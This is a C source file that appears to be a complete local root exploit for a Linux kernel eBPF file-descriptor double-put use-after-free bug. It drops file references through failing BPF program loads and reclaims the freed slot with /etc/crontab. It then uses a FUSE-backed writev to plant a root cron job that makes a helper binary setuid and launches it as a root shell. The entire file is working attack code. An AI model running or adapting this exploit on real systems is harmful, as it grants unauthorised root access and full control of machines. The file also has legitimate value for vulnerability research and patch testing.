doubleput.c

#define _GNU_SOURCE
#include <stdbool.h>
#include <errno.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/bpf.h>
#include <linux/kcmp.h>

#ifndef __NR_bpf
# if defined(__i386__)
#  define __NR_bpf 357
# elif defined(__x86_64__)
#  define __NR_bpf 321
# elif defined(__aarch64__)
#  define __NR_bpf 280
# else
#  error
# endif
#endif

int uaf_fd;

int task_b(void *p) {
    /* step 2: start writev with slow IOV, raising the refcount to 2 */
    char *cwd = get_current_dir_name();
    char data[2048];
    sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
    struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
    if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
        errx(1, "system() failed");
    int fuse_fd = open("fuse_mount/hello", O_RDWR);
    if (fuse_fd == -1)
        err(1, "unable to open FUSE fd");
    if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
        errx(1, "unable to write to FUSE fd");
    struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
    if (iov_ == MAP_FAILED)
        err(1, "unable to mmap FUSE fd");
    fputs("starting writev\n", stderr);
    ssize_t writev_res = writev(uaf_fd, iov_, 1);
    /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
    if (writev_res == -1)
        err(1, "writev failed");
    if (writev_res != strlen(data))
        errx(1, "writev returned %d", (int)writev_res);
    fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
    while (1) sleep(1); /* whatever, just don't crash */
}

void make_setuid(void) {
    /* step 1: open writable UAF fd */
    uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
    if (uaf_fd == -1)
        err(1, "unable to open UAF fd");
    /* refcount is now 1 */

    char child_stack[20000];
    int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
    if (child == -1)
        err(1, "clone");
    sleep(3);
    /* refcount is now 2 */

    /* step 2+3: use BPF to remove two references */
    for (int i=0; i<2; i++) {
        struct bpf_insn insns[2] = {
            {
                .code = BPF_LD | BPF_IMM | BPF_DW,
                .src_reg = BPF_PSEUDO_MAP_FD,
                .imm = uaf_fd
            },
            {
            }
        };
        union bpf_attr attr = {
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
            .insn_cnt = 2,
            .insns = (__aligned_u64) insns,
            .license = (__aligned_u64)""
        };
        if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
        if (errno != EINVAL)
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
    }
    /* refcount is now 0, the file is freed soon-ish */

    /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
    int status;
    int hostnamefds[1000];
    int used_fds = 0;
    bool up = true;
    while (1) {
        if (waitpid(child, &status, WNOHANG) == child)
            errx(1, "child quit before we got a good file*");
        if (up) {
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
            if (hostnamefds[used_fds] == -1)
                err(1, "open target file");
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
            used_fds++;
            if (used_fds == 1000) up = false;
        } else {
            close(hostnamefds[--used_fds]);
            if (used_fds == 0) up = true;
        }
    }
    fputs("woohoo, got pointer reuse\n", stderr);
    while (1) sleep(1); /* whatever, just don't crash */
}

int main(void) {
    pid_t child = fork();
    if (child == -1)
        err(1, "fork");
    if (child == 0)
        make_setuid();
    struct stat helperstat;
    while (1) {
        if (stat("suidhelper", &helperstat))
            err(1, "stat suidhelper");
        if (helperstat.st_mode & S_ISUID)
            break;
        sleep(1);
    }
    fputs("suid file detected, launching rootshell...\n", stderr);
    execl("./suidhelper", "suidhelper", NULL);
    err(1, "execl suidhelper");
}